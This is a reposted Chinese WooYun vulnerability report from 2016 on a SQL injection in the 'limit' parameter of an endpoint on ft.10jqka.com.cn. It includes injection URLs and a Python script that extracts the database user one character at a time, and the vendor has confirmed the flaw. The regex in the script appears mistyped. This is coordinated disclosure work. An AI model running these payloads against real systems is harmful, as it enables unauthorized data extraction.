同花顺某站一处奇葩注入(附验证脚本)

admin 2017年4月21日06:06:43评论401 views字数 204阅读0分40秒阅读模式
摘要

2016-04-20: 细节已通知厂商并且等待厂商处理中
2016-04-21: 厂商已经确认,细节仅向厂商公开
2016-05-01: 细节向核心白帽子及相关领域专家公开
2016-05-11: 细节向普通白帽子公开
2016-05-21: 细节向实习白帽子公开
2016-06-05: 细节向公众公开

漏洞概要 关注数(13) 关注此漏洞

缺陷编号: WooYun-2016-198380

漏洞标题: 同花顺某站一处奇葩注入(附验证脚本)

相关厂商: 同花顺

漏洞作者: 路人甲

提交时间: 2016-04-20 09:03

公开时间: 2016-06-05 09:50

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: SQL注入

1人收藏


漏洞详情

披露状态:

2016-04-20: 细节已通知厂商并且等待厂商处理中
2016-04-21: 厂商已经确认,细节仅向厂商公开
2016-05-01: 细节向核心白帽子及相关领域专家公开
2016-05-11: 细节向普通白帽子公开
2016-05-21: 细节向实习白帽子公开
2016-06-05: 细节向公众公开

简要描述:

APP安全之SQL注入

详细说明:

目标:ft.10jqka.com.cn

检测发现以下地方存在SQL注入:(注入参数为limit)

code 区域
http://ft.10jqka.com.cn/thsft/iFindService/CellPhone/i-strategy/get-point-view-list?limit=1

关于Payload:

额~从报错可以看出来这里是limit的地方(貌似有WAF,有时会正常返回,等下再试即可~)

同花顺某站一处奇葩注入(附验证脚本)

由于不是MySQL数据库,因此不能用limit后注入,后来发现这里会判定数字,然后返回limit N(N为判断出的数字)的数据,于是手工写select语句即逐步得到数据,如

获取当前数据库用户的长度,返回可知length(user)为8

code 区域
http://ft.10jqka.com.cn/thsft/iFindService/CellPhone/i-strategy/get-point-view-list?limit=(select length(user))

同花顺某站一处奇葩注入(附验证脚本)

又如,跑出user第一个字符

同花顺某站一处奇葩注入(附验证脚本)

由于limit错位,跑出的limit数字加5即为要查询的结果,于是写了个Python:(脚本中含代理,请自行修改)

code 区域
#!/usr/bin/env python
#coding=utf8

import httplib, re, time

database = ''
httpClient = None
for num in range(1,9):
#while 1:
try:
headers = {"Host": "ft.10jqka.com.cn",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "application/json"}
url = 'http://ft.10jqka.com.cn/thsft/iFindService/CellPhone/i-strategy/get-point-view-list?limit=%28select%20ascii%28substr%28user,'+str(num)+',1%29%29%29'
httpClient = httplib.HTTPConnection("192.168.1.2", 8080, timeout=10)
httpClient.request("GET", url=url, headers=headers)

response = httpClient.getresponse()
rp = response.read()
database = database + chr(int(re.search('limit":"(/d+)"', rp).group(1))+5)
print 'user: ', database

except Exception, e:
print e
finally:
if httpClient:
httpClient.close()

漏洞证明:

跑下当前数据库用户,其他数据同理通过select语句即可跑出~

同花顺某站一处奇葩注入(附验证脚本)

修复方案:

请多指教~

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2016-04-21 09:49

厂商回复:

你好,已确认漏洞,正在进行处理,谢谢。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-04-20 09:03 | STCX ( 路人 | Rank:21 漏洞数:8 | 向大黑阔们致敬)

    0

    留个名

  2. 2016-04-21 10:16 | ω电池ω ( 路人 | Rank:4 漏洞数:2 | neusoft)

    0

    马克

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin